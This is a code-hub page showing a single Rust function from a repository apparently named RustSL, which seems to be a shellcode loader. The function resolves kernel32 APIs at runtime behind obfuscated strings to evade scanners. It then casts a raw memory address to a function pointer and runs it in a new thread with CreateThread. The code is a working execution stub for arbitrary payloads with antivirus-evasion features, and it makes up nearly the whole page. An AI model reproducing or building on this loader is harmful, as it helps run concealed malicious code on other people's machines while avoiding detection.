MCPcopy Create free account
hub / github.com/echQoQ/RustSL / exec

Function exec

src/exec/create_thread.rs:1–40  ·  view source on GitHub ↗
(p: usize)

Source from the content-addressed store, hash-verified

1pub unsafe fn exec(p: usize) -> Result<(), String> {
2 use std::ffi::c_void;
3 use crate::utils::{load_library, get_proc_address};
4 use obfstr::{obfbytes, obfstr};
5 use std::ptr::null_mut;
6 use std::mem::transmute;
7 let kernel32 = load_library(obfbytes!(b"kernel32.dll\0").as_slice())?;
8 let p_create_thread = get_proc_address(kernel32, obfbytes!(b"CreateThread\0").as_slice())?;
9 type CreateThreadFn = unsafe extern "system" fn(
10 lp_thread_attributes: *mut c_void,
11 dw_stack_size: usize,
12 lp_start_address: Option<unsafe extern "system" fn(*mut c_void) -> u32>,
13 lp_parameter: *mut c_void,
14 dw_creation_flags: u32,
15 lp_thread_id: *mut c_void,
16 ) -> *mut c_void;
17 let create_thread: CreateThreadFn = transmute(p_create_thread);
18 const INFINITE: u32 = 0xFFFFFFFF;
19 let thread_fn: unsafe extern "system" fn(*mut c_void) -> u32 = transmute(p);
20 let h = create_thread(
21 null_mut(),
22 0,
23 Some(thread_fn),
24 p as *mut c_void,
25 0,
26 null_mut(),
27 );
28 if h.is_null() {
29 return Err(obfstr!("CreateThread failed").to_string());
30 }
31 let p_wait = get_proc_address(kernel32, obfbytes!(b"WaitForSingleObject\0").as_slice())?;
32 type WaitForSingleObjectFn = unsafe extern "system" fn(*mut c_void, u32) -> u32;
33 let wait_for_single_object: WaitForSingleObjectFn = transmute(p_wait);
34 wait_for_single_object(h, INFINITE);
35 let p_close = get_proc_address(kernel32, obfbytes!(b"CloseHandle\0").as_slice())?;
36 type CloseHandleFn = unsafe extern "system" fn(*mut c_void) -> i32;
37 let close_handle: CloseHandleFn = transmute(p_close);
38 close_handle(h);
39 Ok(())
40}

Callers

nothing calls this directly

Calls 2

load_libraryFunction · 0.85
get_proc_addressFunction · 0.85

Tested by

no test coverage detected